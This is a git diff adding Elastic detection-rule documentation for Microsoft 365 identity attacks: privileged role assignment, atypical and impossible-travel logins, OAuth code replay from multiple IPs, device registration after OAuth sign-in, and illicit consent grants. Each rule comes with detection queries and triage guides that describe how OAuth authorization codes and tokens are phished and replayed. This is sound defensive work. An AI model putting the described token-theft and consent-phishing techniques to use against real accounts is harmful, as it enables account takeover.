`"Global Administrator"` or a similarly privileged role. +- Review the `user.target.id` and `user.target.name` fields to identify the user or service principal that received the role. +- Inspect `o365.audit.ExtendedProperties.additionalDetails` for context on how the action was performed (e.g., via Admin Portal, Graph API). +- Pivot to sign-in logs for the assigning account to check for recent anomalies such as logins from new geolocations, unrecognized devices, or suspicious IP ranges. +- Investigate if the account assignment occurred outside of known change windows, during non-business hours, or by a user with no change history. +- Correlate with other role assignments or directory changes to check for broader role abuse or privilege escalation campaigns. + + +*False positive analysis* + + +- Role assignments by IT administrators as part of routine maintenance or incident response may appear suspicious in environments without change tracking or ticket correlation. +- PIM (Privileged Identity Management) activations may temporarily elevate accounts to Global Administrator and then revoke the role afterward. +- Onboarding processes or internal audits may require temporary elevation to Global Administrator for legitimate users. +- Automation tools and scripts may trigger this alert if misconfigured to assign Global Administrator privileges during provisioning or sync jobs. + + +*Response and remediation* + + +- If the assignment is unapproved or suspicious, immediately revoke the Global Administrator role from the assigned user or service principal. +- Reset credentials and initiate containment steps for the assigning account, especially if compromise is suspected. +- Enable or verify enforcement of MFA for both assigning and assigned accounts. +- Review Azure AD activity logs for additional signs of privilege misuse or suspicious directory changes. +- Notify the appropriate identity and security operations teams to investigate further and begin incident response procedures. +- Limit the number of Global Administrator accounts and enforce role-based access control (RBAC) using least privilege principles. +- Consider implementing conditional access policies to limit role assignment actions to specific networks, devices, or user groups. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.code:"AzureActiveDirectory" + and event.action:"Add member to role." + and event.outcome: "success" + and o365.audit.ModifiedProperties.Role_DisplayName.NewValue: ( + "Global Administrator" or "Company Administrator" + ) + and o365.audit.AzureActiveDirectoryEventType: 1 + and o365.audit.RecordType: 8 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-login-from-atypical-travel-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-login-from-atypical-travel-location.asciidoc new file mode 100644 index 0000000000..98d0a2959c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-login-from-atypical-travel-location.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-m365-identity-login-from-atypical-travel-location]] +=== M365 Identity Login from Atypical Travel Location + +Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Atypical Travel Location* + + +Microsoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon locations, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical locations, flagging potential unauthorized access attempts by analyzing login events and user location patterns. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.country_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Consent:Set" or + "DeviceAuth:ReprocessTls" or + "Kmsi:kmsi" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "Saml2:processrequest" or + "SAS:EndAuth" or + "SAS:ProcessAuth" + ) and + not user_agent.original:(*iPhone* or *iPad* or *Android* or *PKeyAuth*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-login-from-impossible-travel-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-login-from-impossible-travel-location.asciidoc new file mode 100644 index 0000000000..2f6e403c18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-login-from-impossible-travel-location.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-m365-identity-login-from-impossible-travel-location]] +=== M365 Identity Login from Impossible Travel Location + +Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. + +*Rule type*: threshold + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Impossible Travel Location* + + +Microsoft 365's cloud-based services enable global access, but this can be exploited by adversaries logging in from disparate locations within short intervals, indicating potential account compromise. The detection rule identifies such anomalies by analyzing login events for rapid geographic shifts, flagging suspicious activity that may suggest unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.region_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Cmsi:Cmsi" or + "Consent:Set" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "SAS:EndAuth" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc new file mode 100644 index 0000000000..c2079ea4b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc @@ -0,0 +1,257 @@ +[[prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips]] +=== M365 Identity OAuth Flow by First-Party Microsoft App from Multiple IPs + +Identifies sign-ins on behalf of a principal user to the Microsoft Graph or legacy Azure AD API from multiple IPs using first-party Microsoft applications from the FOCI (Family of Client IDs) group. Developer tools like Azure CLI, VSCode, and Azure PowerShell accessing these resources from multiple IPs are flagged, along with any FOCI application accessing the deprecated Windows Azure Active Directory from multiple IPs. This behavior may indicate an adversary using a phished OAuth authorization code or refresh token, as seen in attacks like ConsentFix where attackers steal localhost OAuth codes and replay them from attacker infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 59m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Flow by First-Party Microsoft App from Multiple IPs* + + +This rule detects when the same user authenticates to Microsoft Graph or legacy Azure AD using FOCI applications from multiple IP addresses within a 30-minute window. This pattern is a strong indicator of OAuth code/token theft attacks like ConsentFix, where the victim completes the OAuth authorize flow on their device (first IP), and the attacker exchanges the stolen authorization code for tokens from their infrastructure (second IP). + +The rule aggregates events by user, application, and resource, requiring both `OAuth2:Authorize` and `OAuth2:Token` requests from at least 2 different IPs to fire - this indicates the code was generated on one IP and exchanged on another. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the affected user and determine if they are a high-value target. +- Analyze `Esql.source_ip_values` to see all unique IP addresses used within the 30-minute window. Determine whether these originate from different geographic regions, cloud providers (AWS, Azure, GCP), or anonymizing infrastructure (Tor, VPNs). +- Use `Esql.time_window_date_trunc` to pivot into raw events and reconstruct the full sequence of resource access events with exact timestamps. +- Check `Esql.source_as_organization_name_values` for unfamiliar ASN organizations that may indicate attacker infrastructure. +- Review `Esql.o365_audit_ApplicationId_values` to confirm which first-party application was used. +- Pivot to `azure.auditlogs` to check for device join or registration events around the same timeframe, which may indicate persistence attempts. +- Correlate with `azure.identityprotection` to identify related risk detections such as anonymized IP access or token replay. +- Search for additional sign-ins from the IPs involved across other users to determine if this is part of a broader campaign. + + +*False positive analysis* + + +- Developers or IT administrators working across environments (office, home, cloud VMs) may produce similar behavior. +- Users on VPN who switch servers or traveling between networks may show multiple IPs. +- Mobile users moving between cellular and WiFi networks during the time window. +- Consider correlating with device compliance status to distinguish managed vs. unmanaged access. + + +*Response and remediation* + + +- If confirmed unauthorized, immediately revoke all refresh tokens for the affected user via Entra ID. +- Remove any devices registered during this session by checking `azure.auditlogs` for `Add device` events. +- Notify the user and determine whether they may have shared an OAuth code via phishing. +- Block the attacker IPs at the perimeter and add to threat intel feeds. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices and approved locations. +- Monitor for follow-on activity like lateral movement, privilege escalation, or data exfiltration via Graph API. + + +==== Setup + + + +*Setup* + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| where + data_stream.dataset == "o365.audit" and + event.action == "UserLoggedIn" and + source.ip is not null and + o365.audit.UserId is not null and + o365.audit.ApplicationId is not null and + o365.audit.UserType in ("0", "2", "3", "10") and + ( + /* Developer tools accessing Graph OR Legacy AAD */ + ( + o365.audit.ApplicationId in ( + "aebc6443-996d-45c2-90f0-388ff96faa56", + "29d9ed98-a469-4536-ade2-f981bc1d605e", + "04b07795-8ddb-461a-bbee-02f9e1bf7b46", + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and + o365.audit.ObjectId in ( + "00000003-0000-0000-c000-000000000000", + "00000002-0000-0000-c000-000000000000" + ) + ) or + /* Any FOCI app accessing Legacy AAD only */ + ( + o365.audit.ApplicationId in ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2", + "1fec8e78-bce4-4aaf-ab1b-5451cc387264", + "26a7ee05-5602-4d76-a7ba-eae8b7b67941", + "27922004-5251-4030-b22d-91ecd9a37ea4", + "4813382a-8fa7-425e-ab75-3b753aab3abb", + "ab9b8c07-8f02-4f72-87fa-80105867a763", + "d3590ed6-52b3-4102-aeff-aad2292ab01c", + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1", + "af124e86-4e96-495a-b70a-90f90ab96707", + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8", + "844cca35-0656-46ce-b636-13f48b0eecbd", + "87749df4-7ccf-48f8-aa87-704bad0e0e16", + "cf36b471-5b44-428c-9ce7-313bf84528de", + "0ec893e0-5785-4de6-99da-4ed124e5296c", + "22098786-6e16-43cc-a27d-191a01a1e3b5", + "4e291c71-d680-4d0e-9640-0a3358e31177", + "57336123-6e14-4acc-8dcf-287b6088aa28", + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0", + "66375f6b-983f-4c2c-9701-d680650f588f", + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", + "a40d7d7d-59aa-447e-a655-679a4107e548", + "a569458c-7f2b-45cb-bab9-b7dee514d112", + "b26aadf8-566f-4478-926f-589f601d9c74", + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12", + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0", + "e9c51622-460d-4d3d-952d-966a5b1da34c", + "eb539595-3fe1-474e-9c1d-feb3625d1be5", + "ecd6b820-32c2-49b6-98a6-444530e5a77a", + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d", + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34", + "be1918be-3fe3-4be9-b32b-b542fc27f02e", + "cab96880-db5b-4e15-90a7-f3f1d62ffe39", + "d7b530a4-7680-4c23-a8bf-c52c121d2e87", + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3", + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and + o365.audit.ObjectId == "00000002-0000-0000-c000-000000000000" + ) + ) +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.oauth_authorize_user_id_case = case( + o365.audit.ExtendedProperties.RequestType == "OAuth2:Authorize" and o365.audit.ExtendedProperties.ResultStatusDetail == "Redirect", + o365.audit.UserId, + null + ), + Esql.oauth_token_user_id_case = case( + o365.audit.ExtendedProperties.RequestType == "OAuth2:Token", + o365.audit.UserId, + null + ) +| stats + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_ip_values = values(source.ip), + Esql.o365_audit_ApplicationId_values = values(o365.audit.ApplicationId), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.oauth_token_count_distinct = count_distinct(Esql.oauth_token_user_id_case), + Esql.oauth_authorize_count_distinct = count_distinct(Esql.oauth_authorize_user_id_case) + by + o365.audit.UserId, + Esql.time_window_date_trunc, + o365.audit.ApplicationId, + o365.audit.ObjectId +| keep + Esql.time_window_date_trunc, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.o365_audit_ApplicationId_values, + Esql.source_as_organization_name_values, + Esql.oauth_token_count_distinct, + Esql.oauth_authorize_count_distinct +| where + Esql.source_ip_count_distinct >= 2 and + Esql.oauth_token_count_distinct > 0 and + Esql.oauth_authorize_count_distinct > 0 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc new file mode 100644 index 0000000000..d43f362a87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-user-sign-in-to-device-registration]] +=== M365 Identity OAuth Flow by User Sign-in to Device Registration + +Identifies attempts to register a new device in Microsoft Entra ID after OAuth authentication with authorization code grant. Adversaries may use OAuth phishing techniques to obtain an OAuth authorization code, which can then be exchanged for access and refresh tokens. This rule detects a sequence of events where a user principal authenticates via OAuth, followed by a device registration event, indicating potential misuse of the OAuth flow to establish persistence or access resources. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Flow by User Sign-in to Device Registration* + + + +*Possible investigation steps* + +- Review the two UserLoggedIn logs to confirm that they come from different source.ip values and are associated to the same account. +- Verify all events associated to the source.ip of the the second event in the sequence. +- Investiguate the details of the new device that was added by reviewing the o365.audit.ModifiedProperties.Device_DisplayName.NewValue attribute. +- Investigate the user account associated with the successful sign-in to determine if this activity aligns with expected behavior or if it appears suspicious. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*False positive analysis* + +- Both authentcation events of the sequence are originatng from the same source.ip. +- User using multiple devices and attempted to add a new device post an OAuth code authentication. + + +*Response and remediation* + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by related.user with maxspan=30m +[authentication where event.action == "UserLoggedIn" and + o365.audit.ExtendedProperties.RequestType == "OAuth2:Authorize" and o365.audit.ExtendedProperties.ResultStatusDetail == "Redirect" and + o365.audit.UserType: ("0", "2", "3", "10")] // victim source.ip +[authentication where event.action == "UserLoggedIn" and + o365.audit.ExtendedProperties.RequestType == "OAuth2:Token" and o365.audit.ExtendedProperties.ResultStatusDetail == "Success"] // attacker source.ip to convert oauth code to token +[web where data_stream.dataset == "o365.audit" and event.action == "Add registered users to device."] // user.name is captured in related.user + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc new file mode 100644 index 0000000000..d8d9415802 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user]] +=== M365 Identity OAuth Illicit Consent Grant by Rare Client and User + +Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps +* https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Illicit Consent Grant by Rare Client and User* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These apps can access sensitive Microsoft 365 data—such as mail, profiles, and files—on behalf of the user once consent is granted. This activity is often initiated through spearphishing campaigns that direct the user to a pre-crafted OAuth consent URL. + +This rule identifies a new consent grant to an application using Microsoft 365 audit logs. Additionally, this is a New Terms rule that will only trigger if the user and client ID have not been seen doing this activity in the last 14 days. + + +*Possible investigation steps* + + +- **Review the app in Entra ID**: + - Go to **Enterprise Applications** in the Azure portal. + - Search for the `AppId` or name from `o365.audit.ObjectId`. + - Review granted API permissions and whether admin consent was required. + - Check the `Publisher` and `Verified` status. + +- **Assess the user who granted consent**: + - Investigate `o365.audit.UserId` (e.g., `terrance.dejesus@...`) for signs of phishing or account compromise. + - Check if the user was targeted in recent phishing simulations or campaigns. + - Review the user’s sign-in logs for suspicious geolocation, IP, or device changes. + +- **Determine scope and risk**: + - Use the `ConsentContext_IsAdminConsent` and `ConsentContext_OnBehalfOfAll` flags to assess privilege level. + - If `offline_access` or `Mail.Read` was granted, consider potential data exposure. + - Cross-reference affected `Target` objects with known business-critical assets or data owners. + +- **Correlate additional telemetry**: + - Review logs from Defender for Cloud Apps (MCAS), Microsoft Purview, or other DLP tooling for unusual access patterns. + - Search for `AppId` across your tenant to determine how widely it's used. + + +*False positive analysis* + + +- Not all consent grants are malicious. Verify if the app is business-approved, listed in your app catalog, or commonly used by users in that role or department. +- Consent reasons like `WindowsAzureActiveDirectoryIntegratedApp` could relate to integrated services, though these still require verification. + + +*Response and remediation* + + +- **If the app is confirmed malicious**: + - Revoke OAuth consent using the https://learn.microsoft.com/en-us/graph/api/oauth2permissiongrant-delete[Microsoft Graph API]. + - Remove any related service principals from Entra ID. + - Block the app via the Conditional Access "Grant" control or Defender for Cloud Apps policies. + - Revoke refresh tokens and 